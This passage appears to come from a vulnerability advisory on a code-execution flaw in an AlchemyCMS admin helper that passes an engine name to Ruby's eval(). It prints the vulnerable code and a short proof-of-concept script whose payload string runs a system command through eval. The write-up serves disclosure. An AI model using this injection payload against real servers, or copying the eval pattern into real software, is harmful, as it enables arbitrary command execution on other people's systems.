def resource_url_proxy(resource_handler)
  if resource_handler.in_engine?
    eval(resource_handler.engine_name) # rubocop:disable Security/Eval
  else
    main_app
  end
end
The presence of the # rubocop:disable Security/Eval directive confirms that the security implications of using eval() were recognized but bypassed during implementation.

3. Proof of Concept (PoC)
Attack Vector
The vulnerability is triggered within the AlchemyCMS administrative interface when rendering resource-based views (e.g., Sites or Languages). If an attacker can manipulate the module configuration or the underlying resource data, they can achieve execution.

Standalone Exploitation Script
The following script demonstrates the arbitrary code execution by simulating the vulnerable helper environment:

Ruby

require 'ostruct'

def resource_url_proxy(resource_handler)
  if resource_handler.engine_name && !resource_handler.engine_name.empty?
    eval(resource_handler.engine_name)
  end
end

# Payload: Executes system 'id' command and creates evidence file
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)

resource_url_proxy(handler)
Evidence of Execution
Upon execution, the system command is processed, granting the attacker access to the server's environment.